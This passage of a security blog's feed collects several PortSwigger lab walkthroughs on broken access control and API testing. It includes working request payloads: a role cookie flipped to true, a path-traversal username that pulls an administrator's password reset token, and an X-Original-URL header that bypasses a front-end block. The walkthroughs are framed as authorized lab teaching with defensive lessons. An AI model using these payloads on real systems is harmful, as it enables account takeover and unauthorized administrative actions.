href="https://portswigger.net/web-security/access-control/lab-user-id-controlled-by-request-parameter">PortSwigger lab</a></li><li><a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/">OWASP API Security: BOLA</a></li><li><a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639</a></li></ul>]]></content>
    
    
    <summary type="html">PortSwigger IDOR walkthrough showing how an unvalidated account ID parameter exposes another user&#39;s API key.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
    <category term="idor" scheme="https://blog.nhhoang.io.vn/tags/idor/"/>
    
  </entry>
  
  <entry>
    <title>Privilege Escalation Through a Client-Controlled Role Cookie</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/user-role-controlled-by-request-parameter/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/user-role-controlled-by-request-parameter/</id>
    <published>2026-07-12T04:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This lab moves from missing controls to a broken control: the server decides whether a user is an administrator from the browser-controlled <code>Admin</code> cookie.</p><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-1.png" alt="PortSwigger client-controlled role lab introduction"><figcaption>The Admin cookie objective is vertical privilege escalation from the wiener account.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in with the synthetic credentials <code>wiener:peter</code>, obtain admin access, and delete <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Direct access to <code>/admin</code> was denied. After login, an intercepted request contained <code>Admin=false</code>, indicating that a security decision might depend on mutable client data.</p><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-2.png" alt="Access denied response for the admin page"><figcaption>The wiener account initially receives no access to /admin.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-3.png" alt="Burp request showing Admin false cookie"><figcaption>The account request exposes the client-controlled Admin role cookie.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Cookies are user input. Unless a value is integrity-protected and tied to authoritative server-side state, the server cannot trust it to grant privileges. Here, changing one Boolean alters authorization.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Log in as <code>wiener</code> and intercept an authenticated request.</li><li>Change <code>Admin=false</code> to <code>Admin=true</code> within the lab session.</li><li>Request <code>/admin</code>, then delete <code>carlos</code> using the lab interface.</li></ol><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-4.png" alt="Modified request with Admin true cookie"><figcaption>The /admin request is replayed after changing the Admin cookie to true.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-5.png" alt="Administrator panel exposed after cookie modification"><figcaption>The server accepts the client-asserted administrator role.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-6.png" alt="Delete control used for Carlos in the lab"><figcaption>The escalated session can invoke the administrative action.</figcaption></figure><figure><img src="/images/portswigger/access-control/user-role-request-parameter/step-7.png" alt="Solved status for role cookie lab"><figcaption>The solved banner verifies completion after deleting the carlos account.</figcaption></figure> Authenticate as `wiener`, intercept the account request, change the `Admin` cookie from `false` to `true`, then request `/admin`. Delete `carlos` through the authorized lab panel and verify the solved state.<h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The panel becomes available only after modifying the cookie, and the Academy reports the lab solved after deletion. These observations isolate the trusted role flag as the failure.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>This pattern enables vertical privilege escalation. Store roles in server-side session state or derive them from an authoritative identity store, and authorize every sensitive endpoint.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter">PortSwigger lab</a></li><li><a href="https://cwe.mitre.org/data/definitions/565.html">CWE-565</a></li><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP: Broken Access Control</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger access-control walkthrough explaining privilege escalation when the server trusts a client-controlled Admin cookie.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Unpredictable Admin URLs Are Not Access Control</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/unprotected-admin-unpredictable-url/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/unprotected-admin-unpredictable-url/</id>
    <published>2026-07-12T03:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The application replaces a familiar admin path with a randomized one, but does not protect it with server-side authorization. Public JavaScript contains the route, so any visitor can recover it.</p><figure><img src="/images/portswigger/access-control/unprotected-admin-unpredictable-url/step-1.png" alt="PortSwigger unpredictable admin URL lab introduction"><figcaption>The lab frames obscurity as the only barrier to an admin panel.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>With no credentials, find the panel and delete the synthetic <code>carlos</code> account.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>robots.txt</code> did not provide a useful path. Inspecting the page’s client-side source instead revealed <code>/admin-sok4dr</code> embedded in JavaScript.</p><figure><img src="/images/portswigger/access-control/unprotected-admin-unpredictable-url/step-2.png" alt="Robots.txt not revealing an admin path"><figcaption>The initial /robots.txt check does not expose the adminPanelTag route.</figcaption></figure><figure><img src="/images/portswigger/access-control/unprotected-admin-unpredictable-url/step-3.png" alt="Client-side JavaScript containing the randomized admin route"><figcaption>Public JavaScript discloses the randomized administrative path assigned to adminPanelTag.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Everything delivered to a browser is observable by the user. A secret URL cannot establish identity or privilege, and this route has no independent authorization gate.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Inspect the home page source or loaded JavaScript.</li><li>Identify <code>/admin-sok4dr</code>, request it directly, and confirm the panel is accessible.</li><li>Delete <code>carlos</code> using the provided control.</li></ol><figure><img src="/images/portswigger/access-control/unprotected-admin-unpredictable-url/step-4.png" alt="Unprotected randomized administrator panel"><figcaption>The recovered URL opens the admin panel without authorization.</figcaption></figure><figure><img src="/images/portswigger/access-control/unprotected-admin-unpredictable-url/step-5.png" alt="PortSwigger lab solved after deleting Carlos"><figcaption>The solved banner confirms completion after deleting carlos through the disclosed route.</figcaption></figure> Inspect the home-page JavaScript, copy the path assigned to `adminPanelTag`, open that exact route, and use its Carlos deletion control. Confirm the solved banner only after the authorized action.<h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The solved banner confirms the action. Reaching the panel in a fresh unauthenticated session demonstrates that possession of the URL is the only control.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Obscure routes may reduce accidental discovery, but they provide no authorization. Require a validated session and appropriate server-side role on every admin endpoint.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality-with-unpredictable-url">PortSwigger lab</a></li><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP: Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285</a></li></ul>]]></content>
    
    
    <summary type="html">PortSwigger writeup on finding an unprotected unpredictable admin URL in public JavaScript and why obscurity cannot replace authorization.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Unprotected Admin Functionality: Forced Browsing to an Exposed Panel</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/unprotected-admin-functionality/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/unprotected-admin-functionality/</id>
    <published>2026-07-12T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This introductory lab demonstrates that hiding an administrative link is not access control. The application exposes an admin panel without authentication, while <code>robots.txt</code> reveals its location.</p><figure><img src="/images/portswigger/access-control/unprotected-admin-functionality/step-1.png" alt="PortSwigger unprotected admin functionality lab introduction"><figcaption>The /robots.txt Disallow entry defines the hidden administrator-panel deletion objective.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>The objective is to locate the administrative interface and delete the synthetic user <code>carlos</code>. No credentials are provided. The relevant requests are <code>GET /robots.txt</code> and the disclosed administrative route.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The home page offered no admin link. However, requesting <code>robots.txt</code> returned <code>Disallow: /administrator-panel</code>, disclosing a route that deserved direct inspection.</p><figure><img src="/images/portswigger/access-control/unprotected-admin-functionality/step-2.png" alt="Robots.txt disclosing the administrator panel path"><figcaption>The robots.txt crawler directive reveals the supposedly hidden /administrator-panel path.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>robots.txt</code> is public guidance for crawlers, not a security boundary. More importantly, the server does not authenticate or authorize requests to the disclosed route. This is improper authorization and forced browsing; the information disclosure merely makes discovery easier.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Open <code>/robots.txt</code> and note <code>/administrator-panel</code>.</li><li>Browse directly to that path and confirm the panel loads without a login or role check.</li><li>Use the lab’s delete control for <code>carlos</code>.</li></ol><figure><img src="/images/portswigger/access-control/unprotected-admin-functionality/step-3.png" alt="Accessible administrator panel in the PortSwigger lab"><figcaption>The unprotected /administrator-panel route permits deletion of the carlos account.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The Academy displays its solved state after the deletion. The decisive evidence is that an unauthenticated browser can both view the panel and perform an administrative operation.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, this flaw could expose account management, configuration, or sensitive data. Enforce authentication and role authorization on every administrative request at the server. Do not rely on absent links, uncommon paths, or crawler directives.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/access-control/lab-unprotected-admin-functionality">PortSwigger lab</a></li><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP: Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285</a></li></ul>]]></content>
    
    
    <summary type="html">A clear PortSwigger lab walkthrough showing how robots.txt disclosure and missing server-side authorization expose an administrative panel.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="Access Control" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/Access-Control/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="access-control" scheme="https://blog.nhhoang.io.vn/tags/access-control/"/>
    
  </entry>
  
  <entry>
    <title>Exploiting server-side parameter pollution in a REST URL</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-server-side-parameter-pollution-in-rest-url/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-exploiting-server-side-parameter-pollution-in-rest-url/</id>
    <published>2026-07-11T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.494Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The lab’s public <code>POST /forgot-password</code> handler calls an internal route shaped as <code>/api/internal/v1/users/&#123;username&#125;/field/email</code>. Because the submitted username is concatenated into that path, dot segments can change the route and <code>%23</code> can discard the suffix appended by the gateway.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-1.png" alt="The REST-path objective is to retrieve `passwordResetToken`, access the administrator account, and delete `carlos`."><figcaption>The REST-path objective is to retrieve `passwordResetToken`, access the administrator account, and delete `carlos`.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Use <code>POST /forgot-password</code> to test how <code>username</code> is concatenated into the internal REST path. The objective is to traverse from the appended user segment to the v1 <code>passwordResetToken</code> field, reset the administrator password, and delete <code>carlos</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>Query-string separators such as <code>&amp;</code> and <code>?</code> produced <code>Invalid Route</code>, indicating that the whole value was being treated as a path component rather than parsed as another query parameter. By contrast, <code>./administrator</code> retained the normal response, <code>../administrator</code> changed route matching, and excessive traversal produced a 404 that referenced the API definition. Together, those responses showed that the backend normalized REST path segments.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-2.png" alt="The password-reset workflow submits to `POST /forgot-password` and loads a client reset script."><figcaption>The password-reset workflow submits to `POST /forgot-password` and loads a client reset script.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-3.png" alt="Appending `%23` to `administrator` produces `404 Invalid route` and an API-definition clue."><figcaption>Appending `%23` to `administrator` produces `404 Invalid route` and an API-definition clue.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-4.png" alt="A query-style `%26field=x%23` probe remains part of the REST path and does not create a backend query parameter."><figcaption>A query-style `%26field=x%23` probe remains part of the REST path and does not create a backend query parameter.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-5.png" alt="A trailing encoded ampersand is treated as part of the username, confirming REST-path handling."><figcaption>A trailing encoded ampersand is treated as part of the username, confirming REST-path handling.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-6.png" alt="The `./administrator` probe normalizes to the original user path and returns the normal email response."><figcaption>The `./administrator` probe normalizes to the original user path and returns the normal email response.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Concatenating untrusted input into an internal path allows the caller to change routing semantics after the public endpoint has accepted the request.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Submit the forgot-password request and send it to Repeater.</li><li>Compare <code>username=./administrator</code>, <code>username=../administrator</code>, and <code>username=../../../../</code>. The different responses confirm path normalization and provide the API-definition clue.</li><li>Request <code>GET /api/openapi.json</code>. The schema documents <code>/api/internal/v1/users/&#123;username&#125;/field/&#123;field&#125;</code> and identifies <code>passwordResetToken</code> as an available field.</li><li>Submit <code>username=../../v1/users/administrator/field/passwordResetToken%23</code>. After normalization, the internal request targets the administrator token while the decoded <code>#</code> prevents the automatically appended <code>/field/email</code> suffix from affecting the route.</li><li>Use the returned token in the lab’s reset-password flow, sign in as <code>administrator</code>, and delete <code>carlos</code> to meet the Academy objective.</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">username=./administrator          → normal response (&quot;If that account exists…&quot;)</span><br><span class="line">username=../administrator         → Invalid route</span><br><span class="line">username=../../../../             → 404 Not Found</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /api/openapi.json</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">username=../../v1/users/administrator/field/passwordResetToken%23</span><br><span class="line"></span><br><span class="line">Normalized internal path:</span><br><span class="line">/api/internal/v1/users/administrator/field/passwordResetToken#/field/email</span><br></pre></td></tr></table></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-7.png" alt="The `../administrator` probe changes route resolution and produces the API-definition hint."><figcaption>The `../administrator` probe changes route resolution and produces the API-definition hint.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-8.png" alt="Excessive dot-segment traversal leaves the internal API route and triggers an upstream `Not Found` response."><figcaption>Excessive dot-segment traversal leaves the internal API route and triggers an upstream `Not Found` response.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-9.png" alt="The `username=../../../../` probe reaches beyond the internal API route and returns an upstream `500 Not Found` response."><figcaption>The `username=../../../../` probe reaches beyond the internal API route and returns an upstream `500 Not Found` response.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-10.png" alt="Requesting `openapi.json` through the constructed path leaks the OpenAPI document in the error body."><figcaption>Requesting `openapi.json` through the constructed path leaks the OpenAPI document in the error body.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-11.png" alt="A field-path probe reaches a version that restricts reads to `email`, revealing version-specific behavior."><figcaption>A field-path probe reaches a version that restricts reads to `email`, revealing version-specific behavior.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-12.png" alt="The client script identifies `passwordResetToken` as the password-reset URL parameter."><figcaption>The client script identifies `passwordResetToken` as the password-reset URL parameter.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-13.png" alt="Reading `passwordResetToken` on the current API version is blocked, so the path must be rewritten to another version."><figcaption>Reading `passwordResetToken` on the current API version is blocked, so the path must be rewritten to another version.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-14.png" alt="The normalized v1 path returns the administrator&#x27;s `passwordResetToken` in a `200 OK` response."><figcaption>The normalized v1 path returns the administrator's `passwordResetToken` in a `200 OK` response.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-15.png" alt="The leaked `passwordResetToken` opens the REST-lab administrator password-reset form."><figcaption>The leaked `passwordResetToken` opens the REST-lab administrator password-reset form.</figcaption></figure><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-16.png" alt="After the administrator reset and deletion of `carlos`, the Academy marks the lab solved."><figcaption>After the administrator reset and deletion of `carlos`, the Academy marks the lab solved.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The administrator reset token is returned by the normalized v1 field path. Using it to reset the password and delete <code>carlos</code> changes the Academy state to solved.</p><figure><img src="/images/portswigger/api-testing/lab-exploiting-server-side-parameter-pollution-in-rest-url/step-17.png" alt="The final lab state is `Solved`."><figcaption>The final lab state is `Solved`.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>The lab demonstrates account takeover when untrusted input is concatenated into an internal REST path. Build backend requests with fixed route templates and validated path parameters, reject path separators and dot segments where usernames are expected, avoid relying on fragment behavior to sanitize a constructed URL, and restrict sensitive internal fields independently of gateway routing.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/api-testing/server-side-parameter-pollution/lab-exploiting-server-side-parameter-pollution-in-rest-url">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">A PortSwigger lab walkthrough showing how path traversal and a URL fragment alter the internal password-reset REST route and expose the administrator reset token.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="API Testing" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/API-Testing/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="api-security" scheme="https://blog.nhhoang.io.vn/tags/api-security/"/>
    
  </entry>
  
  <entry>
    <title>Bypassing URL-Based Access Control with X-Original-URL</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-url-based-access-control-can-be-circumvented/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-url-based-access-control-can-be-circumvented/</id>
    <published>2026-07-11T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is exclusively for the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Only test systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The front-end component blocks requests whose visible URL begins with <code>/admin</code>, but the backend honors <code>X-Original-URL</code> when selecting a route. Supplying an innocuous request target while placing the protected path in that header makes the two layers enforce different URLs.</p><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-1.png" alt="The lab identifies a split between the blocked `/admin` path and backend routing through `X-Original-URL`, with deletion of `carlos` as the goal."><figcaption>The lab identifies a split between the blocked `/admin` path and backend routing through `X-Original-URL`, with deletion of `carlos` as the goal.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Reach the administrative functionality and delete the synthetic user <code>carlos</code>. The lab hint identifies <code>X-Original-URL</code> as a header worth testing.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The application exposed an admin link, but a direct request to <code>/admin</code> returned an unauthorized response. Sending a request to <code>/</code> with <code>X-Original-URL: /admin</code> instead returned the administration panel, demonstrating that the backend used the header for routing after the front end had inspected the request line.</p><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-2.png" alt="The storefront advertises an `Admin panel` link even though the upstream control prevents ordinary access to that route."><figcaption>The storefront advertises an `Admin panel` link even though the upstream control prevents ordinary access to that route.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-3.png" alt="A normal request for `/admin` is rejected with `Access denied`, establishing the front-end URL restriction."><figcaption>A normal request for `/admin` is rejected with `Access denied`, establishing the front-end URL restriction.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-4.png" alt="With the request line set to `/` and `X-Original-URL: /admin`, the backend returns the admin HTML containing `/admin/delete?username=carlos`."><figcaption>With the request line set to `/` and `X-Original-URL: /admin`, the backend returns the admin HTML containing `/admin/delete?username=carlos`.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>Authorization is applied to one representation of the URL while routing uses another. Because the client can supply the override header, a request may pass the proxy’s path rule and still reach a privileged backend handler. Access control must be based on a single normalized route and repeated at the application endpoint.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Confirm that requesting <code>/admin</code> directly is denied.</li><li>Send a request to <code>/</code> with <code>X-Original-URL: /admin</code> to establish the parsing discrepancy.</li><li>Keep the visible target outside <code>/admin</code>, place the action path in the header, and carry the username in the query string:</li></ol><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/?username=carlos</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">X-Original-URL</span><span class="punctuation">: </span>/admin/delete</span><br></pre></td></tr></table></figure><ol start="4"><li>Replay the request inside the lab session.</li></ol><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-5.png" alt="Keeping `/admin/delete?username=carlos` in the request line triggers the front-end rule and produces `403 Forbidden` with `Access denied`."><figcaption>Keeping `/admin/delete?username=carlos` in the request line triggers the front-end rule and produces `403 Forbidden` with `Access denied`.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-6.png" alt="Moving `username=carlos` to the benign request target and setting `X-Original-URL: /admin/delete` reaches the delete handler, which responds `302 Found`."><figcaption>Moving `username=carlos` to the benign request target and setting `X-Original-URL: /admin/delete` reaches the delete handler, which responds `302 Found`.</figcaption></figure><figure><img src="/images/portswigger/access-control/lab-url-based-access-control-can-be-circumvented/step-7.png" alt="The Academy changes the URL-based access-control lab to solved after the header-routed deletion request succeeds."><figcaption>The Academy changes the URL-based access-control lab to solved after the header-routed deletion request succeeds.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The same account is denied when <code>/admin</code> appears in the request line but receives the panel when the path is supplied through <code>X-Original-URL</code>. The Academy marks the lab solved after the header-based delete request.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real system, this 